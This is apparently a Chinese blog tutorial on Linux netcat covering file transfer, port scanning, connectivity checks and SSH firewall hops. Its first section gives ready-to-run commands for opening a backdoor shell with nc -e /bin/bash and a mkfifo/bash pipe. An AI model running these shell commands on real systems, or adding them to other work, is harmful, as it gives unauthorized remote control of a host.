Linux netcat ncnetcat
这个工具,简称nc
,是Linux上一个非常强大的工具(当然也有windows版本)。由于它能力实在太强,有些公司甚至对他进行了隔离(quarantined)。比如rename
掉,或者给000
的权限。因为它很容易可以在服务器上开一个后门(backdoor),并且及其方便。
查看nc命令的位置
whereis nc
使用file命令来看一下它的属性。结果发现它是一个链接文件。
file /usr/bin/nc
1、为服务器开后门
①服务端通过nc命令开放端口
下面的命令,将在机器上开放5879
端口。服务端:
nc -l -vv -p 5879 -e /bin/bash
这个过程叫做反弹shell,远程就可以使用nc命令连接,执行一些操作。
②客户端通过nc连接主机
nc -v 127.0.0.1 5879
③关闭客户端时服务端一同关闭,使用-k参数可以保持服务端监听
④客户端连接时显示命令执行终端
服务器端,执行下面两个命令,这就构造了一个循环。
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/f
⑤端口扫描
2、文件和目录传输
①服务端开启端口监听并重定向到文件
nc -l 5879 > file
②客户端启动连接并使用反向箭头发送文件
nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gz
由于没有使用rsa加密,文件传输的更快了。
查看文件的MD5完全匹配
MD5 (redis-5.0.5.tar.gz) = 224cabf26d622f37528b398762e1578c
md5sum file
224cabf26d622f37528b398762e1578c file
③目录的传输
客户端将文件夹压缩为文件通过管道传递给nc
nc命令接收了打包的文件
tar cfz - redis-5.0.5 | nc -v 192.16.1.54 5879
服务端接收压缩文件并解压为目录
把nc的输出,使用管道交给tar命令处理。xfvz
和cvfz
是一对参数
nc -l 5879 | tar xfvz -
3、网络连通性检测
测试指定端口的连通性
想要判断服务器的tomcat端口是否开启,不需要登陆到服务器上,然后再ps
一下看一下进程,或者使用netstat -antl
看一下监听的端口。
使用nc就可以了。
只需要简单的打上ip和端口,就能知道结果。
$ nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!
通过nc扫描主机端口的开放情况
nc -vzw 2 192.16.1.54 8888-9999
4、防火墙穿透
比如下面这张图。想要访问tongariro
的这台机器,但是没有权限的。它只能通过aoraki
的防火墙访问。同时,aoraki
也只能接受来自ruapehu
的请求。
通过组合ssh命令可以达到这个效果。
ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariro
通过ssh的ProxyCommand
,可以完成简单的配置。
使用下面的命令可以快速打通这个通道。
ssh -oProxyCommand="ssh host1 nc host2 22" host2
5、其他
时间服务器
实现一个简单的时间服务器。web浏览器访问即可获取。
ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK\r\n\r\nThe date is "; date;'
远程视频服务
服务端
arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -
客户端
arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -****